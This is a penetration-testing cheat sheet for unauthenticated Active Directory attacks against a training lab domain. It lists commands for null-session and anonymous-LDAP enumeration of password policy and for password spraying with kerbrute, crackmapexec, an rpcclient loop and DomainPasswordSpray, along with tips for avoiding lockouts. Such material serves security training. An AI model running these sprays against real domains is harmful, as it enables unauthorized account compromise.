Skip to main content
Everything on this page works with zero domain credentials, a null session or a handful of guessed usernames is enough. Once any valid credential is found (password-sprayed here or sourced elsewhere), move to AD Enumeration (Credentialed) for everything that opens up from there.

Username & Password Generation

Build the username and password lists these techniques spray against.

LLMNR/NBT-NS Poisoning

Capture credentials passively instead of guessing them, also needs no domain creds.

​
Password Policies

Knowing the lockout threshold before spraying a single password is what keeps a spray from locking out every account in the domain.
CommandDescription
rpcclient -U "" -N 172.16.5.5
querydominfo		Null-session RPC query, no credentials needed at all.
enum4linux -P 172.16.5.5Same information via enum4linux.
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*"Anonymous LDAP bind, works if anonymous bind isn’t disabled.
net accountsFrom an already logedin Windows session.
Import-Module .\PowerView.ps1
Get-DomainPolicy		PowerView equivalent.

​
Username List

Building a valid username list is the prerequisite for every password spraying attempt.

​
Password Spraying

Always check the lockout policy first (above). One password against every user, spread out, is far safer than many passwords against one user.
CommandDescription
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1Sprays via Kerberos pre-auth, same lockout-avoidance benefit as userenum.
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +Standard credentialed spray.
for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; doneManual spray via rpcclient in a shell loop.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList .\user.txt -Password 1234 -Verbose		DomainPasswordSpray: Windows-native spraying, can auto-generate the user list itself rather than needing one supplied.

​
Quick Reference Tools

AD Enumeration (Credentialed)

Everything that opens up once one of the sprays above lands.

Username & Password Generation

Build the lists used throughout this page.

LLMNR/NBT-NS Poisoning

A passive alternative to guessing: capture a hash instead of spraying one.

kerbrute

Lockout-safe username enumeration and spraying via Kerberos pre-auth.